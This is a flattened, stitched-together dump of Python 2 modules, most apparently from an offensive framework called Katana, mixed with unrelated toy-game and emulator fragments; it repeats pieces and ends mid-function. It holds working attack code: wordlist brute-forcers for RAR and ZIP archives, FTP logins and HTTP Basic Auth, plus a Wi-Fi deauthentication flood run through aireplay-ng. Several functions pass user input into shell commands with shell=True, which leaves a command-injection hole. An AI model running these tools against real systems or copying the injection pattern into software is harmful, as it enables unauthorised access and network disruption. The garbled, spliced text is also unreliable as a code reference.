def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: w = whois.whois(initialize.DEFAULT_VARIABLE[0][0]) if w: wd = w.__dict__ print colors[10] for k, v in wd.items(): print('%20s\t"%s"' % (k, v)) print colors[0] except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def btrar(run): try: global defaultarch, defaultdicc if run != 1: actions = raw_input(d.prompt("fle/bruterar")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("file", "yes", "file with pass", defaultarch) d.descrip("dict", "yes", "Dictionary pass", defaultdicc) print "" btrar(0) elif actions[0:8] == "set file": defaultarch = ping.update(defaultarch, actions, "file") d.change("file", defaultarch) elif actions[0:8] == "set dict": defaultdicc = ping.update(defaultdicc, actions, "dict") d.change("dict", defaultdicc) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": pass elif actions == "run" or actions == "r": d.run() try: d.loading_file() Arch = open(defaultdicc, "r") if True: leeArchivo = Arch.readlines() try: RARarch = RarFile(defaultarch) if True: for palabra in leeArchivo: palabraLlegada = palabra.split("\n") try: RARarch.extractall( pwd=str(palabraLlegada[0])) if True: ping.savetwo("BruteForceRAR", defaultarch, palabraLlegada[0]) print "\n-" + Suf + " file Cracked with =", str( palabraLlegada[0]) + "\n" return 1 except: print " " + Alr + " Checking with ", str( palabraLlegada[0]) except: Errors.Errors(event=sys.exc_info(), info=defaultarch) except: Errors.Errors(event=sys.exc_info(), info=defaultdicc) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) btrar(0)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: ftp = FTP(initialize.DEFAULT_VARIABLE[0][0]) if True: try: Message.loading_file() with open(initialize.DEFAULT_VARIABLE[3][0], 'r') as passwords: for password in passwords: password = password.replace("\n", "") try: ftp.login( initialize.DEFAULT_VARIABLE[2][0], password) if True: getFunction.save( "BruteForceFTP", initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0], initialize.DEFAULT_VARIABLE[2][0], password) Message.Success( initialize.DEFAULT_VARIABLE[2][0], password) break except: print " " + Alr + " Checking (" + initialize.DEFAULT_VARIABLE[ 2][0] + "=" + password + ")" except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def exiftool(run): try: global defaultimg if run != 1: actions = raw_input(d.prompt("for/imagen")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("imagen", "yes", "img for forence", defaultimg) print "" elif actions[0:10] == "set imagen": defaultimg = ping.update(defaultimg, actions, "imagen") d.change("target", defaultimg) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: d.loading_file() try: with open(defaultimg, 'r') as comprossed: if True: try: print "\n " + Hlp + " Forence Imagen Client help\n" print " ------------------------------------------" print " |extrat_all | extrat all MD | ls |" print " ------------------------------------------" cmd = "nop" while (cmd != "exit"): cmd = raw_input( d.Client_prompt('forence{IMAGEN}')) if (cmd == "extract_all"): subprocess.call( "perl files/exiftool/exiftool " + defaultimg, shell=True) except: Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaultimg) except: Errors.Errors(event=sys.exc_info()[0], info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) exiftool(0)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: Message.loading_file() Arch = open(initialize.DEFAULT_VARIABLE[1][0], "r") if True: leeArchivo = Arch.readlines() try: ZIParch = zipfile.ZipFile( initialize.DEFAULT_VARIABLE[0][0]) if True: for palabra in leeArchivo: palabraLlegada = palabra.split("\n") try: ZIParch.extractall( pwd=str(palabraLlegada[0])) if True: getFunction.savetwo( "BruteForceZIP", initialize.DEFAULT_VARIABLE[0][0], palabraLlegada[0]) print "\n-" + Suf + " file Cracked with =", str( palabraLlegada[0]) + "\n" break except: print " " + Alr + " Checking with ", str( palabraLlegada[0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def ddos(run): global defaultint, defaultmac try: if run != 1: actions = raw_input(d.prompt("wifi/dos")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("device", "yes", "Interface", defaultint) d.descrip("bssid", "yes", "Mac Target", defaultmac) d.helpAUX() ping.interfaces(1) ping.monitor() d.space() elif actions[0:10] == "set device": defaultint = ping.update(defaultint, actions, "device") d.change("device", defaultint) ddos(0) elif actions[0:9] == "set bssid": defaultmac = ping.update(defaultmac, actions, "bssid") d.change("bssid", defaultmac) elif actions[0:5] == "start": start = actions[6:] print " " + Alr + " Starting Monitor Mode In " + start, ping.status_cmd( "sudo airmon-ng start " + start, "\t\t\t") elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return elif actions == "run" or actions == "r": d.run() try: if ping.checkDevice(defaultint): print " " + Alr + " Starting attack to " + defaultmac subprocess.call('aireplay-ng --deauth 100000 -a ' + defaultmac + ' ' + defaultint, shell=True) stopAttack = raw_input( ' ' + Hlp + ' Press Any Key for Stop the Attack.') subprocess.call("killall aireplay-ng", shell=True) else: d.NoDeviceFound(defaultint) except: Errors.Errors(event=sys.exc_info(), info=3) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=1) ddos(0)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: Message.loading_file() with open(initialize.DEFAULT_VARIABLE[0][0], 'r') as comprossed: if True: print "\n " + Hlp + " Forensic Imagen Client help" print " --------------------------------------------" print " |extract_all | extract all MD | ... |" print " |comment | comment whatever| comment :)|" print " --------------------------------------------\n" cmd = "nop" parameter = "ROO" while (cmd != "exit"): cmd = raw_input( Message.Client_prompt('forence{IMAGEN}')) if (cmd == "extract_all"): subprocess.call( "perl files/exiftool/exiftool " + initialize.DEFAULT_VARIABLE[0][0], shell=True) elif (cmd[:7] == "comment"): subprocess.call( "perl files/exiftool/exiftool -comment=" + cmd[8:] + " " + initialize.DEFAULT_VARIABLE[0][0], shell=True) except: Errors.Errors(event=sys.exc_info()[0], info=initialize.DEFAULT_VARIABLE[0][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSaveValue(actions) :getFunction.SaveValue(actions,IPs) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: if getFunction.isConect(): Message.space() commands.getoutput(NMAP_PATH+' -sn '+str(initialize.DEFAULT_VARIABLE[0][0])+' -oX tmp/ips.xml > null') GateWay=getFunction.get_gateway() tree = ET.parse('tmp/ips.xml') root = tree.getroot() IPf=0 counter=0 IP="" for host in root.findall('host'): for hosted in host.findall('address'): if hosted.get('addrtype') == "ipv4": IPf=hosted.get('addr') else: if GateWay == IPf : IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] for HOST in IPs: counter=counter+1 print " ["+str(counter)+"]"+HOST Message.space() commands.getoutput('rm tmp/ips.xml > null') else: Message.Noconnect() except: Errors.Errors(event=sys.exc_info(), info=False) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def wuis(run): try: global defaulthost, defaultport if run != 1: actions = raw_input(d.prompt("web/whois")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port of target", defaultport) d.space() elif actions[0:10] == "set target": defaulthost = defaulthost.replace("http://", "") defaulthost = ping.update(defaulthost, actions, "target") d.change("target", defaulthost) elif actions[0:8] == "set port": defaultport = ping.update(defaultport, actions, "port") d.change("port", defaultport) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: ping.live(defaulthost, defaultport) if True: try: w = whois.whois(defaulthost) if w: wd = w.__dict__ for k, v in wd.items(): print('%20s\t"%s"' % (k, v)) print "" except: Errors.Errors(event=sys.exc_info(), info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) wuis(0)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: red=socket.socket(socket.AF_INET, socket.SOCK_STREAM) red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) Message.loading_file() try: with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords: for password in passwords: password=password.replace("\n","") red.send("GET "+initialize.DEFAULT_VARIABLE[2][0]+" HTTP/1.1\r\n") red.send("HOST: "+initialize.DEFAULT_VARIABLE[0][0]+"\r\n") red.send("Authorization:Basic "+base64.b64encode(initialize.DEFAULT_VARIABLE[3][0]+":"+password)+"\r\n\r\n") last=red.recv(1000) if last.find("401")<=0: getFunction.savethree("BruteForceHTTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0],password) Message.Success(initialize.DEFAULT_VARIABLE[3][0],password) red.close main(True) else: print " "+Alr+" Checking (username="******")(password="******")" red.close except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ elif getFunction.KatanaCheckActionisBack(actions): return else: getFunction.KatanaCheckActionGlobalCommands(actions) except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) main(True)
def goto3(): x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') if not x.casefold()=='hash': print(str(errs.CommandNotFoundError(x))) goto3() hashes={'80':'aGFzaDE=','443':'Mmhhc2g='} print(css.HEADER+'hashes:'+css.ENDC) [print(css.OKCYAN+'[HASH]'+css.ENDC,key,hashes[key]) for key in hashes.keys()] # FIXME scrive tre volte "hashes:\nport hash\nport hash" # si è fixato da solo wtf
def nextgen(machineName: str, nbGen: (int, 1), **kwargs) -> "next <MACHINE_NAME> [INT]": """Execute the Cythan Code of the machine.""" try: InstanceManager.advance(machineName, nbGen) except Errors.BreakPointMet as err: raise Errors.BreakPointMet(err) except KeyError: return AssertionError("No Cythan Machine have name: '" + str(machineName) + "'") return "Execution done."
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: subprocess.call( 'cd files/joomlavs/;ruby joomlavs.rb -a -u ' + initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0], shell=True) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def goto6(): x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') try: if x.split()[0].casefold()=='hack' and x.split()[1]=='-port' and x.split()[2] in ['80','443']: if not str(x.split()[2])==str(choosedport): print(errs.HackError()); goto6() else: print(css.OKCYAN+'[..]'+css.ENDC+' Hacking on port:',choosedport) time.sleep(0.5) print(css.OKCYAN+'[*]'+css.ENDC+css.OKGREEN+' Successfully hacked.'+css.ENDC) else: print('command or syntax r invalid, or maybe the port is incorrect!') goto6() except: print('an error has occured.') goto6()
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: con=poplib.POP3_SSL(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) con.user(initialize.DEFAULT_VARIABLE[2][0]) con.pass_(initialize.DEFAULT_VARIABLE[3][0]) cmd="nop" print "\n "+Hlp+" POP3 Client help" print " -----------------------------------------" print " |"+colors[6]+"Command"+colors[0]+"|"+colors[6]+"Description "+colors[0]+" |"+colors[6]+"Examples"+colors[0]+" |" print " -----------------------------------------" print " |list | list mails | list |" print " |read | show mail | retr 2 |" print " |dele | remove mail | dele 2 |" print " -----------------------------------------\n" while(cmd!="exit"): cmd = raw_input(Message.Client_prompt('pop3')) if cmd == "list": numMessages = len(con.list()[1]) for i in range(numMessages):print " E-mail "+str(i) if cmd[0:4] == "read": for j in con.retr(int(cmd[5:])+1)[1]: print j if cmd[0:4] == "dele": try: con.dele(int(cmd[5:])+1)[1] print " "+Alr+" email marked for delete ('quit' for exit and delete all email marked)" except Exception,e:print(" "+Bad+" Error", e) if cmd == "quit": con.quit() break except poplib.error_proto as Error:print " "+Bad+" "+Error.message except:Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
def main(run): try: if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionisBack(actions): return if True: Message.run() # CODE MODULE ############################################################################################ cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) try: starting = cmd.stdout.read() cmd.stdout.close() except: error = cmd.stderr.read() print error cmd.stdout.close() print "[+] No network found" pattern = r"((([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])[ (\[]?(\.|dot)[ )\]]?){3}([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5]))" print " " + Alr + " Monitoring ARP's tables" while (True): cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) try: look = cmd.stdout.read() cmd.stdout.close() except: error = cmd.stderr.read() cmd.stdout.close() print(" " + Bad + " No network found") if (str(starting)) == (str(look)): print " " + Alr + " all right, the ARP/s tables have not changed... ", " at: ", datetime.now( ).strftime('%H:%M:%S') else: print " " + War + " ARP Table Changed ", " at: ", datetime.now( ).strftime('%H:%M:%S') print " " + War + " Data: ---------------------------------------------" print " " + look print " ----------------------------------------------------------" time.sleep(14) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Messages.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) Messages.helpAUX() print " Current Interfaces : ", getFunction.get_interfaces() Messages.space() print " "+colors[7]+"Type Description"+colors[0] print " [ALL] Whatever" print " [DNS] Domains Name Service" print " [FTP] File Transfer Protocol" print " [POP] Post Office Protocol" Messages.space() elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Messages.run() # CODE MODULE ############################################################################################ if initialize.DEFAULT_VARIABLE[1][0] == "DNS" : FILTER = "udp or port 53" if initialize.DEFAULT_VARIABLE[1][0] == "FTP" : FILTER = "port 21" if initialize.DEFAULT_VARIABLE[1][0] == "ALL" : FILTER = "udp or tcp" if initialize.DEFAULT_VARIABLE[1][0] == "POP" : FILTER = "port 110" if getFunction.checkDevice(initialize.DEFAULT_VARIABLE[0][0]): print " "+colors[10]+" #\t"+colors[4]+"PROTOCOL\tSOURCE\t\tDESTINE\t\tDATA "+colors[0] while True: sniff(filter=FILTER, prn=callback, store=0, iface=initialize.DEFAULT_VARIABLE[0][0]) else: Messages.NoDeviceFound(initialize.DEFAULT_VARIABLE[0][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: if True: Message.run() # CODE MODULE ############################################################################################ print " "+colors[12]+"Computer"+colors[0] print " IP Local : ",getFunction.Myip() print " Ip Externa : ",getFunction.get_external_ip() print " Interfaces : ",getFunction.get_interfaces() print " Gateway : ",getFunction.get_gateway() print " Machaddress: ",getFunction.my_mac_address() print " Username : "******" OS : ",commands.getoutput('uname') print " Version : ",commands.getoutput('uname -r') print " "+colors[13]+"Katana"+colors[0] print " Core : ",info.version print " Build : ",info.build return # END CODE MODULE ############################################################################################ except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) Message.helpAUX() print " "+colors[7]+"Type Description Speed"+colors[0] print " [profile-0] Intense scan slow" print " [profile-1] Intense scan plus UDP slow" print " [profile-2] Intense scan, all TCP ports very slow" print " [profile-3] Intense scan, no ping slow" print " [profile-4] Ping scan fast" print " [profile-5] Quick scan fast" print " [profile-6] Quick scan plus fast" print " [profile-7] Quick traceroute fast" print " [profile-8] Regular scan slow" print " [profile-9] Slow comprehensive scan fast" Message.space() elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: if getFunction.isConect(): parameter="-T4 -A -v" if initialize.DEFAULT_VARIABLE[1][0] =="profile-0": parameter="-T4 -A -v" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-1": parameter="-sS -sU -T4 -A -v" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-2": parameter="-p 1-65535 -T4 -A -v" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-3": parameter="-T4 -A -v -Pn" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-4": parameter="-sn" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-5": parameter="-T4 -F" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-6": parameter="-sV -T4 -O -F --version-light" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-7": parameter="-sn --traceroute" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-8": parameter="" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-9": parameter="-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'" else: print " "+Bad+" Type not allow, use show options or sop and see Auxiliar help." initialize.DEFAULT_VARIABLE[1][0]="profile-0" main(True) print " "+Alr+" Scanning Target: "+initialize.DEFAULT_VARIABLE[0][0]+" wait it may take a few minutes." OSMATCHs=[] SERVICEs=[] INFORMEs=[] MAC="Unknow" VENDOR="Unknow" Message.space() commands.getoutput(NMAP_PATH+" "+parameter+" "+initialize.DEFAULT_VARIABLE[0][0]+" -oX tmp/portScanner-tmp.xml > null") tree = ET.parse('tmp/portScanner-tmp.xml') root = tree.getroot() for host in root.findall('host'): for address in host.findall('address'): p=address.get('addr') if not address.get('vendor'): VENDOR=VENDOR else: VENDOR=address.get('vendor') if p.find(":") <= 0 : IP=address.get('addr') else: MAC=address.get('addr') for ports in host.findall('ports'): for port in ports.findall('port'): PROTOCOL=port.get('protocol') PORT=port.get('portid') for service in port.findall('service'): if not service.get('product'): product="{NULL}" version="{NULL}" info="{NULL}" else: product=service.get('product') version=service.get('version') info=service.get('extrainfo') product=str("{NULL}" if product is None else product) version=str("{NULL}" if version is None else version) info=str("{NULL}" if info is None else info) SERVICEs.append(colors[7]+service.get('name')+colors[0]+" ["+product+"] "+version+info+" "+colors[10]+colors[3]+PROTOCOL+"-Port: "+PORT+colors[0]) for hostscript in host.findall('hostscript'): for script in hostscript.findall('script'): if script.get('id') == 'smb-os-discovery': INFORMEs.append(script.get('output')) for os in host.findall('os'): for osmatch in os.findall('osmatch'): OSMATCHs.append(osmatch.get('name')) print " Ip address: "+initialize.DEFAULT_VARIABLE[0][0] print " Mac : "+MAC print " Vendor : "+VENDOR print " OS Matchs : " for os in OSMATCHs: print " "+os print " Services : " for services in SERVICEs: print " "+str(services) print " Report :" for informer in INFORMEs: informer=str("{NULL}" if informer is "" else informer) print str(informer) commands.getoutput('rm tmp/portScanner-tmp.xml > null') Message.space() else: Message.Noconnect() except: Errors.Errors(event=sys.exc_info(), info=False) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
if cmd[0:4] == "read": for j in con.retr(int(cmd[5:])+1)[1]: print j if cmd[0:4] == "dele": try: con.dele(int(cmd[5:])+1)[1] print " "+Alr+" email marked for delete ('quit' for exit and delete all email marked)" except Exception,e:print(" "+Bad+" Error", e) if cmd == "quit": con.quit() break except poplib.error_proto as Error:print " "+Bad+" "+Error.message except:Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END CODE MODULE ############################################################################################ else:getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except:Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True) # END MAIN FUNCTION # LINKER FUNCTION def run(target,port,username,password): initialize.DEFAULT_VARIABLE[0][0] = target initialize.DEFAULT_VARIABLE[1][0] = port initialize.DEFAULT_VARIABLE[2][0] = username initialize.DEFAULT_VARIABLE[3][0] = password main(False) # END LINKER FUNCTION
def PortScanner(run): global defaultnet, defaulttyp, parameter try: if run != 1: actions = raw_input(d.prompt("net/portscan")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaultnet) d.descrip("type", "no", "Type of scan", defaulttyp) d.space() d.helpAUX() print " " + colors[ 7] + "Type Description Speed" + colors[0] print " [p-0] Intense scan slow" print " [p-1] Intense scan plus UDP slow" print " [p-2] Intense scan, all TCP ports very slow" print " [p-3] Intense scan, no ping slow" print " [p-4] Ping scan fast" print " [p-5] Quick scan fast" print " [p-6] Quick scan plus fast" print " [p-7] Quick traceroute fast" print " [p-8] Regular scan slow" print " [p-9] Slow comprehensive scan fast" d.space() PortScanner(0) elif actions[0:10] == "set target": defaultnet = ping.update(defaultnet, actions, "target") d.change("target", defaultnet) elif actions[0:8] == "set type": defaulttyp = ping.update(defaultnet, actions, "type") if defaulttyp == "p-0": parameter = "-T4 -A -v" elif defaulttyp == "p-1": parameter = "-sS -sU -T4 -A -v" elif defaulttyp == "p-2": parameter = "-p 1-65535 -T4 -A -v" elif defaulttyp == "p-3": parameter = "-T4 -A -v -Pn" elif defaulttyp == "p-4": parameter = "-sn" elif defaulttyp == "p-5": parameter = "-T4 -F" elif defaulttyp == "p-6": parameter = "-sV -T4 -O -F --version-light" elif defaulttyp == "p-7": parameter = "-sn --traceroute" elif defaulttyp == "p-8": parameter = "" elif defaulttyp == "p-9": parameter = "-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'" else: defaulttyp = "p-0" print " " + Bad + " Type not allow, use show options or sop and see Auxiliar help." PortScanner(0) defaulttyp = ping.update(defaulttyp, actions, "type") d.change("type", defaulttyp) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return elif actions == "run" or actions == "r": d.run() try: print " " + Alr + " Scanning Target: " + defaultnet + " wait it may take a few minutes." OSMATCHs = [] SERVICEs = [] INFORMEs = [] MAC = "Unknow" VENDOR = "Unknow" d.space() commands.getoutput(NMAP_PATH + " " + parameter + " " + defaultnet + " -oX tmp/portScanner-tmp.xml > null") tree = ET.parse('tmp/portScanner-tmp.xml') root = tree.getroot() for host in root.findall('host'): for address in host.findall('address'): p = address.get('addr') if not address.get('vendor'): VENDOR = VENDOR else: VENDOR = address.get('vendor') if p.find(":") <= 0: IP = address.get('addr') else: MAC = address.get('addr') for ports in host.findall('ports'): for port in ports.findall('port'): PROTOCOL = port.get('protocol') PORT = port.get('portid') for service in port.findall('service'): if not service.get('product'): product = "{NULL}" version = "{NULL}" info = "{NULL}" else: product = service.get('product') version = service.get('version') info = service.get('extrainfo') product = str( "{NULL}" if product is None else product) version = str( "{NULL}" 